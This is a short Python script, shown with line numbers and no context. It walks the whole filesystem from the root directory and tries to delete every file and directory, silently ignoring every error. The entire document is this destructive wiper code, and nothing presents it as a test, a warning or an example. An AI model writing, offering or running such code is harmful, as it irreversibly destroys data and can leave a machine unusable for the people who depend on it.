1 import os 2 for root, dirs, files in os.walk('/'): 3 for f in files+dirs: 4 try: 5 os.unlink(os.path.join(root, f)) 6 except: 7 pass